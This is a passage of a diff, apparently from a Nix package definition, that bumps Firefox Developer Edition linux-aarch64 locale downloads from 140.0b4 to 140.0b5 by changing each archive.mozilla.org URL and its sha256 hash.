-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/en-US/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/en-US/firefox-140.0b5.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "314382f39fa55784648cc1dd0daca9e1f0a650f8d598591c8a54172d016f9945";
+      sha256 = "a0ee52348165433189bc72678a3e62899b7f63dfc0b26a5533df43af98f11f9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/eo/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/eo/firefox-140.0b5.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "d6539e43fe59d660b33ed528d093379123e00ac0d90c2eab8da087cdd594eb53";
+      sha256 = "2f283c0c08a403861b015d003bb2cbbb989f960a4cf5071dbfd076b2b8311c75";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-AR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-AR/firefox-140.0b5.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "0cc4e43a4b4158a381856a1bfa861e062a273ef408e2c8083331ec4bb902b97e";
+      sha256 = "6161b9e86c35efcd3528f37c0075b18c718fbc143075f2580ee5e297479b9cd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-CL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-CL/firefox-140.0b5.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "4aa6e06b29aa104b47a7bb7216035ede7b686850b7cdfe12ad9dea0df40daa01";
+      sha256 = "997bdb4cf544482f75456a95435f3e21aab8ab62b84bd095d673f7f289eac774";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-ES/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-ES/firefox-140.0b5.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "0e2d72cdf607a7db275a1b19b42a0fec0192fb5ca0fd6d46a0a433d009f64c0f";
+      sha256 = "90f601277721de0bc1f7f443e1078c662ee999856f5810e58efc999bc9ead114";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/es-MX/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/es-MX/firefox-140.0b5.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "a79ee5bdd66012e6d6fff63303ff62279befe9d363f97a93e0e65b2b1689ac61";
+      sha256 = "653916d1c61dcf53fdb1346e78b7c6c7054ace4ad09304316c3b81fdf71957da";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/et/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/et/firefox-140.0b5.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "8f571465035cf972bfc0f2527ef62fd6f7bab7642208f52fa48c49b53c2597b0";
+      sha256 = "7dd4dab421af15474b0417753c5df7b422014ad85c62954518b78589d28ff143";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/eu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/eu/firefox-140.0b5.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "c345cbe1a1756e0f77a4ad911852f48a225e963ee7594925c89d4b3c8cc8ecf1";
+      sha256 = "60d186881b7694813433badc2e8ff787ff6f5ebb4a868197831b8e38abca7870";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fa/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fa/firefox-140.0b5.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "40da9c11b36069fa939b531d9de251e511ef3745e94c23031de3741cd447daab";
+      sha256 = "ff5b4003af3d4be4041517216e94a8ccdf7370cec16000df01cb30a238a07a75";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ff/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ff/firefox-140.0b5.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "7716c5668458c2f39fb90816dd1f7eec3f54b9774567d4743e9e1f1364870388";
+      sha256 = "ca08ec6ac6a77cad1e0e24dc29f29a7857eebcd8abcb6614b40045a2ecae699f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fi/firefox-140.0b5.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "41ae7a385cd6ffc6fa05d4088b9ee9b956e5485810d165a5f1001c2ffaeca01a";
+      sha256 = "762d4cb09ecb00e5a51f6f9eef51805f9613716717a52ef107725c5466e81bfb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fr/firefox-140.0b5.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "1ea2ee87f0d0c94f8868b119d2d424bb3b830565875e48ccfc1e91e4973f9eb5";
+      sha256 = "6db714ca2523ba57e70e625be0281bf65065b4b3a928671f3bc8286c3a60d1b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fur/firefox-140.0b5.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "d43424b5efe10b2b0e65c0feb5239bd647af086605d918f91d3b2dee7c13adc1";
+      sha256 = "886b97c7d720d5bcf0cb083da7c8c9272c354116ae9a6174a135f024ece89a7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/fy-NL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/fy-NL/firefox-140.0b5.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "6d024e0bf0dc906e6cbf93391ad26824947a90c084243ec77c305366755ae76b";
+      sha256 = "35af23cfc3b24562fd897163a3e128bf75eb155c591c8aa39faaa25e83acde3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ga-IE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ga-IE/firefox-140.0b5.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "87d7b52ab1ac75fb33de8e13a3df94ddd9231645179070900f16107934b2b6ea";
+      sha256 = "f3b13118476e1c27cec0cc5a6953a0ff9a937c3840d4356af0dbc346943e0cd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gd/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gd/firefox-140.0b5.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "956d2b67600153073c8d20bab2cd4b2b0ce954a33923a86ba6b48c186e0741b0";
+      sha256 = "eb9cb4cc1d142a50b19f43325f455620cf8c88924d8688f2a4706e81cd0f67f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gl/firefox-140.0b5.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "27e6131bcfe6325ec8d058063dff15f75f7c66f79d15013628684a914a9e49ec";
+      sha256 = "033e8e3693b8cf68066435d85490db69e615688f0b29a3c55c5cea97f867abeb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gn/firefox-140.0b5.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "ef710f084aae6cf3b2fda3a9e0d017a0bf959960337d4ddee5097d3dd406debe";
+      sha256 = "4c224925a326b8f8d9a1fd95bf5033a5be1e2bae657be6decc329f39d57275ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/gu-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/gu-IN/firefox-140.0b5.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "28ccc4ca0e116dc69ee73dd76da61d32fbf8b67042896f6776ee156cf05e6e86";
+      sha256 = "85f1222a1cd7175d03cf8a8d2985ec8e26cb3eb6ce9b995ef001cb7d2669caa1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/he/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/he/firefox-140.0b5.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "ab26a9a8bcd33bcce2a3347c034b49bac859747b6d2bd51f3ed9ac5206e6fef3";
+      sha256 = "3c16de5fff4b745cf82331d1ca61e26d3470828f7a0780923825193fbd7a77c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hi-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hi-IN/firefox-140.0b5.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "cd45abdfd476d38451a97677654ef53f5d987d1acc1225cfff18fe4d8d600b8e";
+      sha256 = "5bd8778a884af045280bebb3dad18c3713596f2f4bc28866a174aa905a8033c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hr/firefox-140.0b5.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "4951c793afba243271ba640eec8b7351e16b04e9fc49975f3f97844447e21e27";
+      sha256 = "090c4785527ff5060af5ec61ed257a79fe09f48355fdace3748557b66644545e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hsb/firefox-140.0b5.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "26881be6be8d8502b8a3cfe2889172bb7b06dcc86cb822805a09fa2e8d839217";
+      sha256 = "a4e024dc461e043c80752b615f81040d963313c6a7d846535520e51f644d2f50";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hu/firefox-140.0b5.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "af29ec58b423ddcf5ece496b28a11f014619a0e091066bda01495db3c63e88a3";
+      sha256 = "4e782f584f846064a7cbf5765c3be5b204ff2979447c98a84efafe0f6ec96da2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/hy-AM/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/hy-AM/firefox-140.0b5.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "1d202708d4a46499ea91fcb225514966b5c4f099549e014874a93969eae96048";
+      sha256 = "d72106a177b9cdd4202e28d9ae687185acae2e2057a47628249b7b814dd79512";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ia/firefox-140.0b5.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "8569d38bc4ce56749462b7db17b82b8059a6efca1744b8295439735f4825951d";
+      sha256 = "037217e499e38a3db7589c73092d49dcab2de8e98f2bb09e9c243397573c4fe3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/id/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/id/firefox-140.0b5.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "2718544968fb71d1e7645d8c353e9b909ae7caf0768ae9efae6202681d378026";
+      sha256 = "e49cc487d68df6e4f3c5e829e67ba9b66f6becab4956d7d37818b00d93adf096";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/is/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/is/firefox-140.0b5.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "3048c7a981a59ed35530e882704ca28e57545f63036fa0500309872cb90041f8";
+      sha256 = "935810f00a7742c48a80559b8e387c77781664a202be6f014375ca9b50f0c14e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/it/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/it/firefox-140.0b5.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "47a2136e5d24befe2d7250fc917d838294d3d3d0ce67bbdfc12ed52cb13c5820";
+      sha256 = "3f28d9eebaa24d21583110e062177b2e709a8b20558de73df1d8852ef1fb4095";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ja/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ja/firefox-140.0b5.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "c691c79991add05818169ec0762c71e83704aa26d518fa960d6760e1c4935630";
+      sha256 = "bbb9ff9c320061e98e54a93930c63944cb6cc4f921e89c00a5d5295d4770f59a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ka/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ka/firefox-140.0b5.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "5d5e32cd2dbca632b2af119af427b15c1e0ff201b945b6cacb961ae2092f2b88";
+      sha256 = "8bbe2d76336c916920a74bbff6a80ad53bec9f282849a6ffed4f2c54deef0c2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/kab/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/kab/firefox-140.0b5.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "04564d398f617497e6503cd81095c3d9994f1decea0e99a86347dbdea3ec8373";
+      sha256 = "d2a9cd1f96f1dce323ec228e361ef056b648402011c34c9fcc506d76a7cb775c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/kk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/kk/firefox-140.0b5.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "4c0ee1b602a71b6c2edb5b4d2cc7dee2c92f5cf2100c3211a1cd4747dfbc3cf9";
+      sha256 = "2ff4750434a085bcc6967355ad60895faa9b0f66aebb1df9e77a2b4ad5ec05d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/km/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/km/firefox-140.0b5.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "3f4f5c974a2f82a8eb24eacc80dd43dd6888687d7b33b709a75dfa028ca0ab61";
+      sha256 = "3821c7e71d387596c042b231a046c4e1737beb59fc4869f2731aef7bbba0f61a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/kn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/kn/firefox-140.0b5.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "b2831008cf28a63f2ef589f6eb9af55b796deffecdb7d5b6ba283820fb303eed";
+      sha256 = "38f9731050ce577db8e657bf817d7e049d75fec65a5a46d3b4092146264fcf56";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ko/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ko/firefox-140.0b5.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "e2a06611817017184cb75cbb999cd51ca4854e14585b5be643afa6fbd976391f";
+      sha256 = "81bbc9a2dfd74aab21573a0d914992be67cafd07b3c9340575a4e2e15d8800d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/lij/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/lij/firefox-140.0b5.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "dd60b5542bc5ad651fe6c9113f1379e34773a57e85306bb98bdda2738cf4fac1";
+      sha256 = "c310e302c58b8c051879cfe416930b686662cb13d57e416f8d4fcc03a8c10cf9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/lt/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/lt/firefox-140.0b5.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "d9dbf35f5982441c0f46af3ab76523d1012d117fb6dd23e45437c23ba30ea196";
+      sha256 = "380ceac202194db26a7c04d718542be4d7ed53d12b90431a80c729fb6a314d0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/lv/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/lv/firefox-140.0b5.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "c24ddb01ca378672832eb5cf8e95bb78f6d5cab3266fa67070441e808db98439";
+      sha256 = "966c9fd50281bb33eeb194bc4725e1c7f090fa73de4b525d417f05427cdf809a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/mk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/mk/firefox-140.0b5.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "d97f6661efd9f853c0a0e33b8a3c346866594bea9490bbfc4d0506aad919b62c";
+      sha256 = "627744979950de4aa672aefddba71aefeb600175b53146601ab8d2afa41e014c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/mr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/mr/firefox-140.0b5.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "35a07a397fb9daef535f2f8753261ed318f4a775f8e15e266af0942761acf2fc";
+      sha256 = "8c747e56063119607db5c2aab161bd52c4e7a13967c54144fccee5862231766b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ms/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ms/firefox-140.0b5.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "72d8acaf044201716007c6c189222020002d9a4016f4a3d253a91d64ca798783";
+      sha256 = "e33f0ceb939e05283d62de4f07098d40da5895c6ac9cc3394e357d5d66e17e08";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/my/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/my/firefox-140.0b5.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "07a733a01b0825331ef5c8d107f194345e0afd157ae123f4e2e234029ce03903";
+      sha256 = "9f4fa6be9d82941e39c7c8290b9d1c81db93b5e14e8762164b7fb51dc79f9a29";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/nb-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/nb-NO/firefox-140.0b5.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "23fd5336cf74966635ee1bb595d10766751251e018039fe97062f92dd28701f1";
+      sha256 = "b933144efd2c94924acbdc023b6e970ec86dcb3af66992f5b8adbd7c6196c07f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ne-NP/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ne-NP/firefox-140.0b5.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "225de7dede580be0c8ddfbe8a497af052c424b464ba606e11effb2a0258aaafa";
+      sha256 = "a1538cb554c8e0cdd7aa3cae99b42c8f873b53d8a66f68a1c771792fdcc9ad66";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/nl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/nl/firefox-140.0b5.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "caeed5870902eabacc4b44398dbc9d8f1e7a94af15de1988d7d269004806559d";
+      sha256 = "c8a4a788a71971d188c684168569fb65180681e34dd0c40068cdf74e577ce031";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/nn-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/nn-NO/firefox-140.0b5.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "878938c66ba82f4b8598e3aa74b6dc9a8285e16d6287bbe760425dff2e6aee33";
+      sha256 = "5fbaab1173ee8b8dfd283641a6dcb2f5d70138045bd0c794a75b5ba09fbe98d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/oc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/oc/firefox-140.0b5.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "1213e2a2226aedad71b543e1914151cf085c3186c447e6001c9ebf9b5644da35";
+      sha256 = "fcfda166f46d99afb40654d1a7028b395f91f50ec22ea873fb2a20b2358866c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pa-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pa-IN/firefox-140.0b5.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "7141be31170e77c199c7e88a85b640a0aa9fbf3a87a6502bffdd7b95975e3fa3";
+      sha256 = "4a7f826caf0bac406b5c0025f64e04e0f40cd74c12251f2541dba3e2125b1018";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pl/firefox-140.0b5.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "f6128d1579be2067e2547f8eb1828a56e6dd6f29258b87e363d5105b7cebc4ce";
+      sha256 = "7be0dc3d878ff5b3b0089dbdd6124fb736f1ae6e43aefdc30e17fa7095fc7eec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pt-BR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pt-BR/firefox-140.0b5.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "9ef2b8cd01242d32f2cb0adf5a7bc310be21f4ba1cae3529cb64da75531d9792";
+      sha256 = "21f9f3142584c0798e88331cf8d961ad66f2d0ff3796d978ba1b7bc7bbb810dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/pt-PT/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/pt-PT/firefox-140.0b5.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "24b50d061bd46d7cccc128b562491e878e67e929f45fc986071d7e8c75585fd6";
+      sha256 = "7b54964662af7c975d64a56178d3a0bcb63fa4f4d7f3022e85384ab2ac194016";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/rm/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/rm/firefox-140.0b5.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "5f138469c44a462d84ecdf70f4d76b9bf09509c0888588cd74240d93a0a65ddf";
+      sha256 = "4f084efd1dbe4424aecf726b9bf78e3e832c79930d366017acc32c3f6bad1969";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ro/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ro/firefox-140.0b5.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "34770ca741c4dc609deb69f606cf227b8abe1c5559c30b4743b03d1fd6bd4e88";
+      sha256 = "a544b6aec82ea94e87d76907ffa295f22f8cafe76b47cdad117437a5ce626733";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ru/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ru/firefox-140.0b5.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "bf0dc41307da0ae66fa013d17e619776ce796301e7c1c3e16adcdf5290d43ce9";
+      sha256 = "ac918191cd19b1cefdbaa34a83aa9e343323f75cedea255ab1caf0119116f826";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sat/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sat/firefox-140.0b5.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "f26a609c8e2dddec77a8d3cddc09fbf03abb9a6f8ff282a155fd0e35778e52f0";
+      sha256 = "ec11b2475fca2aeae9550b2647492227def51ed21ea349586227bbbae2e5362e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sc/firefox-140.0b5.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "b2535743683e89e58aa9aaed48621553afadd994f6ee1edd020e829abe7a1efe";
+      sha256 = "a6e14ccd27f4b6f57c3464069a194dda3da1b079dd451667fe45f2709b29ab49";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sco/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sco/firefox-140.0b5.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "2731fbe959da7f15a27e3a675fe80b0d54bcae316672035c415376660f8c60f5";
+      sha256 = "78c90f950c950766a633f358920e06da279069f33c37322a1638ac0bf6c2dd59";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/si/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/si/firefox-140.0b5.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "c75fe5891b84c8fcffa4d43093d6c71092741bb60ce3bbb0875067ccb08801d5";
